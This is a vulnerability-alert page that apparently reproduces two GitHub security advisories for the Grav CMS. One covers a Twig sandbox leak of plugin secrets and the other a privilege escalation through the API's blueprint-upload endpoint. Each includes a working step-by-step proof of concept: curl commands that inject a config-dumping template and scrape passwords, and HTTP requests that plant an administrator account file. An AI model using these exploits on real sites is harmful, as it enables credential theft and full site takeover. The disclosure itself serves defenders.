Where
AND
-Infinity
0
Severity
7.7
Infoleak
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins. — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

php $twigvars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|jsonencode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/.yaml.

PoC

bash Step 1 — Get login nonce NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \ | grep -oP '(?<=name="login-nonce" value=")[^"]+')

Step 2 — Login as editor (no admin.super) curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \ -X POST http://TARGET/admin \ --data-urlencode "data[username]=EDITORUSER" \ --data-urlencode "data[password]=EDITORPASS" \ --data-urlencode "task=login" \ --data-urlencode "login-nonce=${NONCE}" -o /dev/null

Step 3 — Get admin nonce ADMINNONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \ | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

Step 4 — Save page with process.twig:true and payload curl -s -b /tmp/cookies.txt \ -X POST http://TARGET/admin/pages/poc \ --data-urlencode "admin-nonce=${ADMINNONCE}" \ --data-urlencode "task=save" \ --data-urlencode "data[frontmatter]=title: poc process: twig: true published: true" \ --data-urlencode "data[content]={{ config.toArray()|jsonencode|raw }}" \ --data-urlencode "data[folder]=poc" \ --data-urlencode "data[route]=/" \ --data-urlencode "data[name]=default" -o /dev/null

Step 5 — Retrieve secrets from rendered page curl -s http://TARGET/poc | grep -o '"password":"[^"]"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
Malicious File Upload
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

In Grav 2.0.0-beta.2, a low-privileged authenticated API user with api.media.write can abuse /api/v1/blueprint-upload to write an arbitrary YAML file into user/accounts/, then log in as the newly created account with api.super privileges.

This results in full administrative compromise of the Grav API.

Details

The vulnerability is located in the API plugin's blueprint upload flow:

- user/plugins/api/classes/Api/ApiRouter.php:261 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308 - user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417 - user/plugins/api/classes/Api/Controllers/AuthController.php:41-55

The issue exists because /api/v1/blueprint-upload accepts caller-controlled destination and scope values and uses them to resolve the final filesystem write target.

When the request uses:

- destination=self@: - scope=users/anything

The server resolves the write target to the shared account directory:

text user/accounts/

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext password: field on first login, an attacker can create a fully functional administrator account with api.super.

The required attacker privilege is low:

yaml access: api: access: true media: write: true

PoC

Step 1: Authenticate as the low-privileged API user

http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close

{"username":"uploader","password":"Upload123A"}

Extract:

text UPLOADERTOKEN = <accesstoken from response>

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

Step 2: Upload a malicious account YAML file

http POST /api/v1/blueprint-upload HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <UPLOADERTOKEN> Content-Type: multipart/form-data; boundary=----CodexBoundaryF01 Connection: close

------CodexBoundaryF01 Content-Disposition: form-data; name="destination"

self@: ------CodexBoundaryF01 Content-Disposition: form-data; name="scope"

users/anything ------CodexBoundaryF01 Content-Disposition: form-data; name="file"; filename="pwned.yaml" Content-Type: text/yaml

email: attacker@example.com fullname: attacker title: Site Administrator state: enabled password: Passw0rd!123 access: site: login: true api: super: true ------CodexBoundaryF01--

Expected result:

json { "data": [ { "name": "pwned.yaml", "path": "user/accounts/pwned.yaml" } ] }

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />

Step 3: Log in as the newly created account

http POST /api/v1/auth/token HTTP/1.1 Host: 127.0.0.1:8123 Content-Type: application/json Connection: close

{"username":"pwned","password":"Passw0rd!123"}

Expected result:

json { "data": { "user": { "username": "pwned", "superadmin": true } } }

Attachment:

<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />

Step 4: Verify privileged API access

http GET /api/v1/system/info HTTP/1.1 Host: 127.0.0.1:8123 X-API-Token: <PWNEDTOKEN> Connection: close

Expected result:

The request succeeds and returns system-level information.

Attachment:

<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />

Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once api.super access is obtained, the attacker gains full control over the CMS management API and can:

- modify content - alter configuration - manage users - install or update plugins/themes - access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

- the upload response returned user/accounts/pwned.yaml - logging in as pwned succeeded - the new account had superadmin = true - privileged endpoints such as /api/v1/system/info were accessible

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203